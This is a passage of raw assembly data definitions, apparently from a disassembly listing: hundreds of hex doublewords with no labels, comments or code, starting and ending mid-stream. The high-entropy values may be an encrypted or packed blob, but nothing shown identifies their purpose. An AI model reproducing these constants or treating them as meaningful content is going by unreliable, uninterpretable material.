40724F2Ch, 1ECDA42h, 1854B566h, 1880D270h, 94C0B984h dd 8163B65h, 521D8C55h, 67B4CE02h, 91A8E07Dh, 28BF9848h dd 4F472ACh, 6E460DD9h, 9660907Eh, 0B902E0C9h, 5DAE6A01h dd 4580A5A8h, 3BD3A48Ch, 0FC00EB0Ch, 0AF935979h, 700F62A3h dd 20267F21h, 0DED2A6B6h, 8D651FE4h, 0B35082BAh, 0FC986490h dd 30C03B7Ah, 2D014CE9h, 0A16E04BFh, 0C005315Dh, 0CB301C94h dd 935CC271h, 1D9200A5h, 0F1F3C415h, 0D790ABh, 98CBE5A7h dd 8A7F3A89h, 702DA206h, 3D60C16Fh, 3500AA8Fh, 0A1364783h dd 60366FFh, 0BAF603E5h, 1190E0B1h, 9AD500B3h, 6A0D0289h dd 0E50022A5h, 0FACD047Fh, 0C5D15Fh, 62EA42ADh, 0D46D0910h dd 0A23A4600h, 0D6B6E84Bh, 8871E2Ch, 935DB7h, 33CB49ECh dd 1013782h, 2BE1C3A7h, 0FBDBC487h, 74FBC84Bh, 8309243Fh dd 77F10535h, 50B9C0EEh, 4100076Eh, 0E5AC7CA5h, 0A18FB8h dd 806DFA46h, 61557090h, 73471901h, 0F6435F23h, 54D8A0F3h dd 3B89C0Dh, 1CE65096h dd 77D5C1D0h, 36007679h, 680612B1h, 41B79Bh, 7A69D7D3h dd 72F85B10h, 8B979112h, 21453E07h, 0D2F15040h, 0C68F3E1Fh dd 127F892h, 3D8CDE6Ch, 0B76EE86Fh, 24775226h, 0F765F980h dd 15755884h, 10C1C3A3h, 0D0488BA1h, 0B1CBE5BFh, 811E00D4h dd 7D80999Fh, 0EA6CFC57h, 0B17E22h, 8206A653h, 0F2D9C24Bh dd 0B68B3100h, 4709148h, 0D4CA0AE5h, 32E9D5C8h, 58909C51h dd 0E830644Dh, 7520CC46h, 7C900B37h, 0CC24F808h, 9254F45Ch dd 8DA07064h, 97D3421Dh, 2C80B7D6h, 50FB696h, 501C70C0h dd 3CD87Bh, 287395EDh, 25B4FAF3h, 77333600h, 7E291B10h dd 0B04400C5h, 88DB4A4Bh, 0D7035599h, 2C0394FFh, 0A309C86Fh dd 0B9DE0E93h, 80E06D77h, 0BC272F8Ah, 26609C00h, 0F67F2A45h dd 0B8CBF2EEh, 1674E066h, 0B510C9h, 7A89A385h, 0E958522Ah dd 83CB00B8h, 8633E472h, 3FABF81Ah, 0AD800CD5h, 54439CBAh dd 0E4007F4Fh, 7A6A0373h, 0C0141E29h, 13F0E6E0h, 2700C9FBh dd 20A2262Bh, 5A1E2D0h, 5DB6DF3Dh, 0B8968082h, 0C00F7A94h dd 0B5F31636h, 107100B4h, 4F56E45Eh, 90300E0h, 0FE92BE5Fh dd 8D801638h, 5DB800A0h, 87081BAh, 8AFC48B9h, 0FD91C100h dd 3FAA6FF0h, 93A4004Ah, 92BFB00Fh, 0C90F7F64h, 0C28E4196h dd 0C0EA3A87h, 5864C69h, 663EAA99h, 0D2E443E7h, 5BEB8303h dd 0CEC98201h, 8851F95Ch, 5A835DCh, 0B19789FEh, 0AA8BE07Eh dd 54EBC000h, 0E651664Ah, 0D76901DAh, 4CCAB82Eh, 658BC816h dd 147DF00h, 0D9197BDEh, 818F178Ch, 0FD5B07F9h, 0D5A12032h dd 0CD00EB59h, 0AE9A9B5Eh, 0F89293B2h, 7597067Fh, 4828B340h dd 26DBC27h, 4874F4A8h, 9F228Ch, 5B5CA9F5h, 727A8D96h dd 217F5903h, 17C466h, 0FDCFB2D8h, 3F43FAD0h, 2AE8E907h dd 44D06B40h, 4A77795h, 0D2790254h, 0FE54900Ch, 0D00047E4h dd 99EB764Ah, 7A5CBD3h, 0ABA3DA9Dh, 1AD830BBh, 7C142050h dd 0FBED10h, 0CA86C7EBh, 0EBAFE0Ch, 3BEA0556h, 0C98F005Eh dd 0A538200Bh, 5704BC00h, 1FECB30Fh, 82DC0089h, 1A4E477h dd 5F904637h, 9AE2CE00h, 3E748F29h, 3C41384Ch, 0C1852A89h dd 0AACEB180h, 8F031264h, 247A7CB8h, 0A110199h, 0D63EC9Ah dd 1004C8B2h, 184B3A3Ah, 5520657Fh, 0FA2C0CBCh, 0AA604DA3h dd 0CCED800h, 9EFD5C02h, 19BC1F59h, 56827A0Dh, 99A1448Ah dd 0F215C3E0h, 570FCE13h, 8C330FBEh, 861B3483h, 7E88B064h dd 4F2D8E60h, 4AD20610h, 2EA769B0h, 665AFA60h, 7434F42Fh dd 0EDAA033Fh, 0D89193D1h, 6F69F8E0h, 3A7C3000h, 8D3C55B1h dd 3B0D0060h, 783163A5h, 9200A3C6h, 0AF2FFDC1h, 35E4A12h dd 4926D3E9h, 15E859E4h, 9E3BD986h, 6E3D003Ch, 0A4745A80h dd 0E608007Ah, 57792B52h, 943821A5h, 3E9CBE92h, 566C001Ch dd 4BE7B97Fh, 0E3BF2CEBh, 12A1D9Eh, 0E224CFA7h, 80D07163h dd 798B6218h, 0F80354h, 12F1D21Bh, 0B29DC475h, 68E5100h dd 93625901h, 321F002Ch, 0A7DD288Dh, 8FE8963Dh, 5321D300h dd 0E29A5407h, 0E427980Dh, 0F31C00C1h, 0F9B23D1Fh, 0C873E9A4h dd 4DEA1A7Ch, 0B038DB00h, 91DE23F6h, 0FBE41C2Eh, 7FC38080h dd 62B86FDAh, 47062071h, 155C3BFEh, 0E7A50650h, 70305A1Bh dd 69C4AE30h, 0F0C3D6D2h, 8FF458h, 182B366h, 0FF548C94h dd 0E900B00h, 251AA218h, 0E22F44Eh, 0D565F6F3h, 7CD398A0h dd 0E300DDE8h, 30B56EF2h, 0B6A05BEh, 0CC51E7CEh, 1970C321h dd 54E9EB7Bh, 0B93E09Ch, 17EC7D0Fh, 7056A0DAh, 0B028F7F2h dd 59E807h, 8501BE71h, 42600317h, 378F7C03h, 0ACD816h dd 897A5A20h, 0F914D31h, 0D4BE2507h, 20E1E67Fh, 5A302F58h dd 3826005Ch, 0BA59F67Ah, 8E007D6Eh, 53166241h, 0E813FF96h dd 50E76157h, 0CC21259Bh, 23032FD7h, 5862C8C4h, 3C40EEC9h dd 2D00BE0Fh, 0E620EF93h, 0B50032D5h, 31D91458h, 6C9AA0h dd 0D7F91CFFh, 0DDDBEEACh, 754089C0h, 144810D1h, 885084FFh dd 6018EE0Eh, 0C36E9BE0h, 0F30059C8h, 95E9D819h, 7F5AE802h dd 0B50B0026h, 27C322A0h, 0DD00AACAh, 0B10A5C3Ch, 78B2E92h dd 57D3B3B9h, 50724051h, 1400E6DCh, 8A1CD5CDh, 7E4B6377h dd 0B1F40376h, 3BDA5EC5h, 99AFD0B8h, 8CFE6200h, 33F0E81Bh dd 8DCB00B9h, 90CF4AC4h, 2A000530h, 73CD5A36h, 0FC9F91E4h dd 1DB400C3h, 0E19C1075h, 0C0775CF7h, 0EE2F9600h, 614A6D1Bh dd 7A40147h, 0A8B8BF89h, 16A5F0E3h, 8542D318h, 0B39A18h dd 0A2E5DC6Ch, 0A58301C6h, 0DBE16700h, 30C59BB4h, 0DC983A40h dd 0C3BC81Dh, 3E20A7AFh, 9E7058h, 5F69790Fh, 37F9A36h dd 1D18198Bh, 69101C17h, 0BA3687D6h, 72216839h, 2DFACF5h dd 3F603151h, 0A53C34A0h, 4217E166h, 7800CB6Fh, 370A9246h dd 8F090010h, 0A1AD11F6h, 450F0687h, 0EA51A88h, 0DEFB85EFh dd 47A72DC0h, 1BC70070h, 827D82Ch, 28744864h, 20F83E30h dd 0C17909h, 0D2D8D1E2h, 0C8D6583h, 0EBCCD40Eh, 0CB326347h dd 0E1FC0BFh, 6CAC007Fh, 405F5277h, 871CBBDCh, 0D4073B88h dd 0CA71BDCBh, 23EDE21Bh, 0BBB892h, 439A862Ch, 2B0CEE72h dd 0C05F8E75h, 0E2700EF6h, 94E06EA2h, 198905BDh, 25D37300h dd 699862E0h, 3A59003Ch, 0CEBDBAFBh, 0DD00ADBEh, 0F4C4F283h dd 5C0A2C58h, 3791F14h, 5451C58Ch, 72E331BEh, 68FC5DA0h dd 0A70DA00h, 949C8D8Fh, 0BAB407ECh, 0D0C2E15Fh, 0BF7C4181h dd 17183Bh, 94734DD6h, 128B5F3h, 50BE79C3h, 80D4A4B8h dd 95612218h, 0E75CDDh, 0A56F26D1h, 0BEE65A9Ch, 0E429D005h dd 38C0ACF0h, 9590579h, 12932F9Eh, 95FCF180h, 31790F98h dd 0E2B23E00h, 0FBB38761h, 0A39803h, 0E08DA58h, 286BBBDBh dd 10704BF0h, 8DEC2A0Eh, 29EB6025h, 0A462D6h, 0BFE1C56Eh dd 0E23C33B4h, 911D3200h, 974FB7Dh, 7BE25Dh, 0C21971BCh dd 9079D4BAh, 0F7021000h, 6694EE4Ch, 0C988C030h, 3AA5FC65h dd 7D7CB216h, 172800FBh, 0EF1D6AE0h, 0FF049803h, 0E132EEDDh dd 7D0935Eh, 0C85B00DEh, 0AC341FC0h, 35007E79h, 0FA782466h dd 3771EE65h, 60282629h, 39A3450Dh, 9F0E6800h, 0FCE72590h dd 0CC973BCh, 0BD85B838h, 8E000761h, 4775AB36h, 0E456708h dd 892315F8h, 79B90380h, 5200EDD8h, 0B05EBEF4h, 656A0Bh dd 0A3979893h, 79FC921Ch, 5034DB18h, 0F43AC419h, 5AE8E9C3h dd 0A90A03BBh, 0EF5DC98Ah, 90CBC906h, 8162E8h, 1F8CB2AFh dd 45538DA9h, 0A57E34E0h, 7D920100h, 0A40CF86Ah, 0D7B00021h dd 1CA132C9h, 4003FDCCh, 0C27E9659h, 0C3BFC11Bh, 0D1580885h dd 69D08067h, 54E652CFh, 0A0211700h, 5376D3F2h, 3DB5007Ch dd 4B1FF837h, 0D1009364h, 0BCC73AE4h, 0E918410h, 0C6310820h dd 0A985EA0h, 69E627C9h, 45BE4701h, 8237E15Bh, 0F5BAEE40h dd 42A200EEh, 0C130399Eh, 60008356h, 0D8768407h, 15A55CFh dd 0B04B410h, 0E0FB0F86h, 1600789Fh, 0AE322182h, 0D2E9FCh dd 0F70A5E8Fh, 69FD45E3h, 0A1BE3400h, 647E4EEAh, 0D13E00F5h dd 0B3D47B07h, 43003902h, 2D919E62h, 0ABB7215h, 9C932ED2h dd 380801FCh, 0C03001FCh, 83008A26h, 0F9207FADh, 3C09CDD8h dd 1026F042h, 8C590048h, 0BAC04569h, 0AE11761Fh, 0C9ED09h dd 0DB61F444h, 0B6B51EC5h, 0F041C048h, 0FD4DB96Fh, 79D7A00h dd 726A4796h, 0ACF5072Dh, 170BC609h, 7AFF9198h, 5FCC40E6h dd 0F4031DDDh, 73DA4B5h dd 0F2799102h, 0B9309CEDh, 0E0ECFA38h, 2F5C98F5h, 0E756F721h dd 1B151600h, 797B37EBh, 25D50028h, 947FAB72h, 0A904EAF0h dd 8EE6DD1Fh, 917E0880h, 0EC07BF31h, 8E3FE2Ah, 0CFB15DC1h dd 4A94607Ch, 8E3EED60h, 0B8168F94h, 0EB6D0E63h, 8340C9CDh dd 49D828A7h, 1E01C700h, 519E89D3h, 25030058h, 91A8543Fh dd 840083C2h, 89EC6760h, 0EFC6E08h, 0D12C95A2h, 54CEA3E0h dd 990131D2h, 1158253Eh, 8FC4073Ch, 447000F2h, 0FF399113h dd 0B80CA577h, 2030DF56h, 9A7C001Bh, 0A18D9EFCh, 87010C3Ch dd 0BA3E3669h, 99E07E6Bh, 7BFA00EEh, 6F770F12h, 0FE7061D2h dd 0EDA34A00h, 7601D539h, 40553C54h, 88B3D100h, 0EE77E172h dd 0A57614F0h, 1AF05C00h, 0AC3D209h, 0D06850B3h, 0E9F45Dh dd 4CB06BBCh, 0D685DDE5h, 0A4D5D4A8h, 0E6EA0A00h, 0C88B9971h dd 627900C2h, 1E2122B9h, 2F771490h, 0DB012B00h, 187BFC04h dd 0DD611E79h, 874580D8h, 0BDF341F1h, 0C59F2201h, 0A67D5AF7h dd 0EB849ECh, 5DA35B51h, 47E1CB00h, 0DF00A97Ah, 0C99161E7h dd 101FEBEh, 0B6A55C49h, 30F8D15Fh, 721D3FE7h, 0C0F014D3h dd 742F0E6Bh, 0C50700BDh, 0E2091F75h, 4700F225h, 0B06FD61Ch dd 3E11B10h, 0DFA2C8E4h, 6AC84F43h, 0AE3BD5F4h, 3800FA9Bh dd 1A8EFC3h, 0C77D0Dh, 0ECD657Bh, 0B23CD184h, 0F371000h dd 0DC92AB7Eh, 9008514Ah, 3DC8D0h, 0D51857E8h, 0DABD64D2h dd 0DDE02A01h, 24AB542Ch, 206A2A87h, 0D03767A5h, 71DC9689h dd 251BC100h, 21FE978Ch, 1CFC0079h, 0C3A84F22h, 46793886h dd 3517A617h, 401D3F0Fh, 255FBE18h, 0CA948E6h, 34506D00h dd 6CEF7280h, 3DF99500h, 977A263h, 41080029h, 66692DE7h dd 1D001598h, 0A260BDF0h, 38C823F7h, 0D8BE8807h, 11B0B600h dd 1AF9E0E2h, 92714D00h, 0BC8DF4CFh, 0D6CD0433h, 0C07DDEF8h dd 156184CBh, 0B8BE2B00h, 48D06880h, 0B2D20A78h, 0C81D9Dh dd 7958F08Bh, 12587F5Ch, 0E4070F80h, 0A35E601Ah, 4D9A51h dd 45F87788h, 1735AE37h, 0B484E700h, 0ECDF0439h, 0A33E007Ah dd 4BB9A016h, 326E1F0h, 0D300D045h, 125211FCh, 0B541001Eh dd 6CAB8E27h, 4D0009BEh, 0D938B14h, 0A1A04Fh, 4B8F5750h dd 72C1472Bh, 0A4383300h, 874865BDh, 126C165Ah, 601C407Eh dd 0A11A7B22h, 4F612700h, 187045CCh, 9A7700A9h, 0D0C1FDEDh dd 0C50042C9h, 975452D1h, 629C4Ch, 3460EE2Eh, 6A9DE7B1h dd 0B81A5100h, 0FE51BE4h, 2460018h, 6E390D7Fh, 0AE00164Ch dd 8D1126E2h, 0C6DD41h, 12A453D7h, 2EA7C3C0h, 0B75DC200h dd 5B3E24E5h, 6730Ah, 119EA57Fh, 0EEDC9BC4h, 66047D07h dd 0D21019C8h, 0C7CB36h, 18BB978Ah, 69952BBCh, 220183FEh dd 0B47D5E2Ch, 63DCE1B7h, 4C121F72h, 15E34046h, 19ADDA59h dd 0C3779900h, 987DB870h, 75EC0060h, 6FB52973h, 7003438h dd 0E3B6506Bh, 0B836B244h, 0A973003Ah, 6F055767h, 74004145h dd 960B03BCh, 0E09BB966h, 0E668021Ah, 0FBB5272Bh, 72CD6C87h dd 44167D2h, 3482D18Eh, 0C901DDF4h, 695D0166h, 7280BB4Fh dd 8EE3488Dh, 0D8000B11h, 88F9BC40h, 0D8449h, 4BFD7855h dd 571FC714h, 1B002774h, 2D97CF38h, 4DEFA96Bh, 0BA1E8070h dd 42F09D93h, 2A3DD9B9h, 2F535260h, 80666439h, 0ABEE4E2h dd 1D1173h, 0D801BC6Fh, 6195CA85h, 79FDC300h, 7FEDA259h dd 5D0907Eh, 600A622Ah, 0BFDC0030h, 3F809E24h, 41B31403h dd 0F9440975h, 0E8814B72h, 0AF586DDFh, 0F4F031FAh, 5E005969h dd 642B50BDh, 7BE15C3h, 3587E15Ch, 700DB3C8h, 6FBBA90h dd 67D8EF01h, 12B9CFC6h, 0F4D230h, 218FA75Dh, 1C8BF7AAh dd 0F1A45601h, 0B139AF9h, 0FE28864h, 0CBA26848h, 976B1F80h dd 88044C42h, 9CFA7994h, 806240C0h, 56FB3F8Eh, 9550075h dd 0AFBB7A57h, 9D00CFCDh, 0C1769E3Dh, 0D0422Bh, 5BD31F4Fh dd 0AAA890Bh, 2210909h, 61648072h, 18BBD53h, 80B7E449h dd 81BECAD4h, 0A408AF11h, 0DDD4AB64h, 72D7136Eh, 6B804087h dd 0EAC632CBh, 0FD65831Ah, 6CE360A0h, 11900EFh, 265ABFCDh dd 212C3546h, 2F0BBD75h, 16F080D4h, 17DC21Ch, 0F4EC08D7h dd 6038BB8Ch, 5F0010B8h, 972D04A8h, 40E47Fh, 32067C1Fh dd 23FAAB2Bh, 3F4AF800h, 7E373D29h, 71170389h, 0B32E8CD9h dd 59CB47D0h, 800085E4h, 1D12C024h, 0F0DBA5BAh, 97960314h dd 0A11F94D3h, 0E29BD5F3h, 483490A0h, 1473E38h, 0D7B30940h dd 0F9F89D7Eh, 3592017Ah, 0D28F0EF8h, 0ADD0438Dh, 451801D1h dd 1F60CDA0h, 8588304h, 0E9100C4Fh, 0D36A5045h, 0EA3A4800h dd 0F5864453h, 0ACA91F11h, 0EF3D80BAh, 0A3ED7D29h, 2485AD0Bh dd 434C8118h, 382068B1h, 0D66C0002h, 896D5FF4h, 5B04463Ah dd 3E40FC61h, 0E8C2A980h, 0B3EA00E4h, 4BC6B969h, 4D004318h dd 2C819884h, 0F4C0F695h, 9E570402h, 87176108h, 0DC89E0F8h dd 0F00CB34h, 2C7AE0E6h, 0FEBDAA77h, 2EA40020h, 27673D18h dd 6C050E59h, 6BF58B92h, 0B67C81C0h, 192E0F5Eh, 0BF40DBFBh dd 268325B3h, 15495300h, 8E2A1F58h, 70D81D66h, 7C348113h dd 0E0DBB837h, 26004290h, 547428BCh, 1AC6B8Eh, 32EF2C6Eh dd 0E8F00818h, 0A201A8B6h, 4134F923h, 9E8C880h, 1E8D00FFh dd 0D55B8202h, 0E200E197h, 75A6434Eh, 484914B3h, 0F400CCC0h dd 2412AD7Dh, 88006BD6h, 0B6ECE066h, 3DAB6C3Dh, 7400710Dh dd 6908124Ah, 0D0006EA1h, 358B846Fh, 0FBE991Fh, 0C367E6C6h dd 0E789DF81h, 0F087F640h, 0BA02F054h, 9300B6E2h, 0D8D9F01h dd 242FC15h, 0B4F909AFh, 8481F24h, 2200334Ch, 0B20E62A1h dd 14EB9CEDh, 0D48ED884h, 2C09EC02h, 9381C9FEh, 0E8D0119Fh dd 0DF00A669h, 4F9D8BCBh, 0E4C5AAh, 0C4DD5618h, 23BE7DBAh dd 1A270E03h, 0D879240Ch, 719D0FAh, 492E3E61h, 45849068h dd 10001A78h, 8CB84D96h, 2628165Fh, 1E885331h, 0C17BC076h dd 4C5CA440h, 4348C601h, 0E92E605Fh, 25C082E4h, 4C004A81h dd 9BB5F71Dh, 0C1193C00h, 25B09A50h, 5C8505D3h, 0C0B27ED1h dd 6B997250h, 6815B300h, 59B9076Fh, 90FE00A9h, 3EA7CE81h dd 9D767F76h, 0F622BF02h, 0A0DEDCB4h, 8FCDF194h, 0D0C14C16h dd 0AD335100h, 7B4E12A9h, 0D2FC6600h, 0D1C3DF10h, 7C8F1DA1h dd 2E9280A6h, 0F66C2F3Bh, 14026E00h, 81D10C11h, 0EC544C9Ch dd 0A1984200h, 0A58286C4h, 9B1E9390h, 92804DE1h, 4091CBB2h dd 0E06FA45h, 835CAF33h, 0EE381160h, 5B075A96h, 0B6E8A8F1h dd 8CE08FC7h, 0FF88033h, 5CB5EDB4h, 0B04B9B47h, 0A6769223h dd 801D47Fh, 34263E1h, 2C308543h, 0EE9800E9h, 0CAC61F4h dd 5003B04Fh, 6EEDE8FEh, 0D539E02Ah, 4D3F2EEh, 82266295h dd 0DAD0901Ch, 9B2EAAC2h, 0BC03E006h, 0D0C8E312h, 0FA3D92h dd 34EE8795h, 3B17AF5Ah, 281A3830h, 31404FFh, 0B141EF7Eh dd 90E58B1Fh, 0E08DC48h, 5A618900h, 0C45D0A2Eh, 9A5B00D5h dd 4B4F6584h, 240098CCh, 0DD799162h, 2D1015h, 0B373DF6Ah dd 34A9B4FEh, 338AF600h, 212DC25h, 45E030h, 648051F4h dd 7C5F3F44h, 3D7EE900h, 0D4CFAD27h, 0F73780Fh, 0D14BD975h dd 387264E0h, 94771453h, 0C0DEA100h, 9881FDAAh, 0C6D400D0h dd 7126D739h, 1004EFBh, 0AD365B34h, 1C75A2h, 51EFE53Eh dd 239B20B7h, 61001FE2h, 8381AA4Dh, 0B011660Bh, 6D980012h dd 857DE5F5h, 0A000FC70h dd 0F31E1319h, 7144BF2Ch, 7C873E48h, 4699A4h, 1FBE33B1h dd 0A73A8E4Dh, 0F354892Eh, 0B050001Ah, 60DE9Eh, 7DE1F6F8h dd 9659B218h, 0A3FB1E1Ch, 0FCA80F00h, 769CF37h, 378DEBBh dd 0DF0C6353h, 0B1963FD8h, 335E5600h, 0E983F709h, 0BECD00BDh dd 71DD53A9h, 27008DCBh, 0A78826DAh, 4F985Ch, 7FE11A87h dd 4556A82Bh, 0E3B34B06h, 0A26A8Fh, 53F7B1C7h, 63448902h dd 8525E519h, 0F970EC48h, 18DB7CB9h, 52F00B9Ah, 0C60090AFh dd 37DD33Fh, 712CCDFh, 0F381DC16h, 0B19FD0ADh, 24602259h dd 0F8AC92F0h, 9E789Dh, 2F1FC3Eh, 85C5ECA7h, 868C7600h dd 7C0B54BFh, 5BAD00C6h, 13479E19h, 8E036ECDh, 0B2392722h dd 4E42B82Fh, 913317C0h, 0D4175Eh, 2671CE44h, 75036BFCh dd 65F3E7C7h, 7783E87Ah, 8A5F0009h, 0D7EBC4D2h, 0C02C60AEh dd 8100D51Bh, 0FF223C48h, 94241E55h, 35AE0026h, 53EB1B0Ch dd 0D39B431Eh, 0A84E8A00h, 12382486h, 2B276Ch, 3648AA48h dd 1100D39Dh, 4D5384B7h, 60C34441h, 0D2C6660Dh, 8F0EE491h dd 0E0A9E1E5h, 55FAC6Dh, 2D0D0FD3h, 80FC9835h, 87929F8Eh dd 0E200AD86h, 41847280h, 0E848F7DDh, 61121CBBh, 4398DFF1h dd 9FC80D1Fh, 74E8B7E0h, 9500D077h, 0C32677E0h, 0A6CF11h dd 0FE2B3189h, 497C7AAFh, 0D0F5C00h, 0AC6C1BFAh, 17994CC5h dd 315902Eh, 0B99B80AEh, 890AE5A0h, 71EC7E00h, 74137B7Fh dd 0E0E100F5h, 925AAFCBh, 0BC0016EBh, 5DC1D8D2h, 0C279B7h dd 970A8B2Ah, 6013F6FCh, 0E9BED300h, 6283AC8Eh, 0A5EAFAh dd 5BD2983Eh, 340CE7EAh, 0C1959h, 55E9476Ah, 48B572h, 50E626DEh dd 7FE58370h, 47E42800h, 0BD76937Ah, 4A6800C9h, 8BC145BFh dd 77243146h, 3000007h, 0ED98BE0Bh, 42B54C88h, 328E1500h dd 0CC8F3377h, 3C006B73h, 0EA9C4626h, 4C4A6714h, 5680243Ah dd 0E6E7F5BFh, 0DA21C800h, 0B968FF6Ch, 0F8722E2Eh, 70290098h dd 8C24E39Bh, 0F04748h, 2858A941h, 9AE773Ch, 32DBC0BAh dd 210A6C40h, 464Ah, 89653F09h, 2957492h, 416B2A03h, 9450E1DCh dd 429D6118h, 3D7B639h, 67AED9E8h, 0ECA0CE23h, 0E62326Ah dd 52733021h, 5B9700B0h, 4A29200Bh, 6A00745Dh, 3C726D93h dd 0D170B7h, 79198054h, 1E7E64F0h, 0DB63D800h, 30AF6B74h dd 0EEC42502h, 0F9905800h, 1F733E77h, 4DB8015Fh, 7D20F41Ch dd 0F0DAE980h, 0BF02A173h, 0DC4A5A00h, 57AFAB78h, 0A0791262h dd 194CC814h, 73972400h, 0DBC9201Dh, 2F1800C4h, 4E5349A8h dd 26791A46h, 72275D00h, 0FFD671B8h, 0EE4100E2h, 57E4395Fh dd 0A60F7821h, 0E7584636h, 75E3745Bh, 6965B8DAh, 0EA270E48h dd 76A043F9h, 0BFEF3F6Fh, 447C8526h, 52A7BB03h, 3BCA007h dd 0ACBD5CAEh, 0F2A47104h, 0B0B0A268h, 0F8EB685Eh, 0F2176F9h dd 0EAC2243h, 0F4FBB220h, 2400CC05h, 0FCAEBFEDh, 9C4144Bh dd 966AC261h, 0A3B25780h, 0EB099AF3h, 8245E4A9h, 600BD066h dd 1D7FD7EBh, 8012A11Ah, 0E1EAB0E3h, 80028ABCh, 27928683h dd 0AA13601Fh, 0FA4A98h, 0E595F704h, 0A000E7D6h, 5CEAD93Ch dd 0ECF9B3F4h, 3B49C6Fh, 0CB574DE2h, 3B2168C0h, 0AF20FA01h dd 0ADD8F166h, 51ECA121h, 0F5DD00E1h, 0BE5D787Eh, 93486C80h dd 9502009Dh, 8F658839h, 1B6E2A0h, 368ECFEFh, 6017FB20h dd 460010FCh, 0DBD743BEh, 5630155h, 99CFBA22h, 669A0042h dd 0B46FAC9h, 0AE7AED00h, 0CA9E88ADh, 0AC070050h, 7B8EC0E9h dd 0A1011B71h, 67D023C6h, 91CC48A5h, 0A466396Eh, 0B0259480h dd 8BA75E4Eh, 86992800h, 0B55029C4h, 6D9E00ADh, 0A2ED353Eh dd 505C91Ah, 0B4387C25h, 1CCBDC5Dh, 0E4D8C30Fh, 0C81B00BFh dd 89B7AB4Ah, 83129B3Bh, 9914F035h, 2C28B9Eh, 6DA89388h dd 0D44953C7h, 0FCFDFC34h, 3178972Fh, 4330F284h, 627D03B6h dd 2B2CD6C1h, 0E75DD1B8h, 122E6D00h, 49156B99h, 0DA500E9h dd 6C065679h, 0EC00B2F2h, 0CFE3E261h, 35032Ch, 2214187h dd 0C32F4AB9h, 550BE90Eh, 89FB43D2h, 0CD2980E1h, 0BA2C0026h dd 60993F10h, 0B12C44FAh, 0DC008B34h, 77525843h, 0E97474h dd 7FFE7385h, 6B8DF790h, 0F9EFF3Ah, 404DA72Ch, 0DAA22D61h dd 0FC38017Eh, 80A085E1h, 7240D0CCh, 0CC0A0C2Ch, 20DDA5B9h dd 0D1E077C8h, 95860BF8h, 91806A84h, 0C7C89F47h, 0D5405802h dd 0C0B610F4h, 7D9BB86h, 97DAF1B1h, 7E23B08Dh, 8F15A646h dd 12AC1780h, 548F8173h, 366B3800h, 1390B2C4h, 437C4200h dd 0EC1D6208h, 7E590044h, 83B450C6h, 22001A10h, 19ECCBCh dd 0E1B1626h, 31E37D60h, 7297D9A0h, 0E8925B28h, 0EAFB7702h dd 80DE57AAh, 724B1188h, 38B26182h, 0E81A4ADDh, 8900F236h dd 4C562434h, 3EC70FC3h, 0C800A5E6h, 0F1489141h, 0B490FA5Eh dd 26774FF8h, 2CF6DA00h, 845FC96Eh, 0E81FF466h, 34C11EC5h dd 48EE004Fh, 737DE377h, 0A7A65813h, 288E6305h, 4E9CA3C0h dd 46D7007Eh, 0E79F76DAh, 3400041Dh, 0D619AB0h, 0C0E87Ah dd 0EADA602Bh, 23F6C803h, 74BBA5Ch, 0D5643F70h, 37BEC08Eh dd 79CB8C7Ah, 5B333D8Eh, 185E1103h, 65889A78h, 0B401EC19h dd 2E8E55E3h, 6AD48AD4h, 0EAE50052h, 0BDB17FCFh, 0AD076C68h dd 0B1C3350h, 0E0D33030h, 0A2360122h, 478EA606h, 381307Eh dd 0C8278000h, 4E1F6D50h, 56200A91h, 0B8B6EAh, 0B7FAB2CEh dd 0EE0EEF7Bh, 0CD3558h, 5E6AC964h, 7E300078h, 0E417727Dh dd 0A51CBBA6h, 0B540195Ch, 1CC4710Dh, 0A2EE0078h, 0E9D633DCh dd 7400BEB6h, 5BDFA60Ch, 275F0D18h, 48805371h, 27970E89h dd 0F95FF3Ch, 8059F991h, 0F8B79931h, 76BE7B44h, 0F0871FCEh dd 3BE06F26h, 738D266h, 40A458AFh, 0E500FDBDh, 747A328Fh dd 0E0D473h, 330C7CBBh, 0B67660CAh, 62433E0Bh, 4898E0F3h dd 0FCD10B0Bh, 0A680E674h, 0CE644631h, 0EA196300h, 0F8BE8FEFh dd 0D2D0E29h, 47C4D42Ch, 80C88722h, 7C82286Ch, 341E0100h dd 9884994Bh, 23BA00F5h, 0AB40E017h, 811DB308h, 3C817A75h dd 0A9A63ADFh, 0A4AF7D4h, 0D3E2F578h, 66A881B8h, 0C0328211h dd 0F007A6C4h, 1CFD39AAh, 5F88B220h, 687D0057h, 176F5971h dd 6A78D6D0h, 691F9076h, 0E740E955h, 5EB843D8h, 0F0C51E95h dd 56E500C0h, 804720B7h, 4C2AA00h, 0EA97862Fh, 62A80E76h dd 3C6014E0h, 0C613CD9Ah, 0A554B603h, 0B8565BF0h, 0D27DBEh dd 73D8A018h, 0E9142A69h, 3FCF7E00h, 0F3C837C3h, 61AF004Bh dd 9F709C1Ch, 90033B3Ah, 242C2B98h, 681DA9F1h, 72D621C0h dd 0CFD303F3h, 3D01F788h, 4DACF100h, 0CD2F0861h, 6D44120Ah dd 0F01EFDh, 39125874h, 1C4AAB72h, 7600481Eh, 0CB874121h dd 0BB2B0003h, 0D6305328h, 1E00F931h, 6F36C5ACh, 0C02A7279h dd 0EE964238h, 0F473F328h, 50C9B200h, 0E8651E4Eh, 4F6B1E2Ch dd 0F18B405Ch, 3135864Dh, 20921200h, 0A5B6F606h, 0F4D90008h dd 9B24F7ECh, 1C0FFAC2h, 0E07255EEh, 0EABBA18h, 0CBE60064h dd 0FF5240BFh, 140F5CACh, 40663DBCh, 8C3822Dh, 0A33600D0h dd 7DCC8E3Bh, 0B2007E16h, 71489F63h, 34FAB9Ch, 94E7F572h dd 42012EDBh, 6F06D3FFh, 93E0FBBFh, 404D0B0Fh, 70A346CBh dd 5A00E9A6h, 0B5621DC9h, 4C7C22FBh, 2B002D4Bh, 195D43E1h dd 2005F8Bh, 49524291h, 4C3453C2h, 0A006214h, 3FAB8E10h dd 0D4026E61h, 4254291Eh, 3C64528Fh, 0A201A96Bh, 40868412h dd 0CDEF02h, 3950FAF8h, 0C800BFE6h, 92D32367h, 0F0C01A42h dd 0D5E801D7h, 99B76B60h, 682083B0h, 0CCD0A83h, 7342A3B8h dd 82022960h, 843E9B1Dh, 0C88503Dh, 97BA8C04h, 9BF03A21h dd 842E39h, 0A4C60D20h, 9067530Fh, 0C3A9021Ch, 0D76A7602h dd 4F90A1E0h, 215B4225h, 30A261D4h, 5FB65981h, 81A8DA26h dd 0EEADFC90h, 1040B06Ah, 3DE1D55Ah, 61007934h, 40849B67h dd 5DE61DC0h, 16656200h, 0EDA50976h, 82910050h, 159D6D03h dd 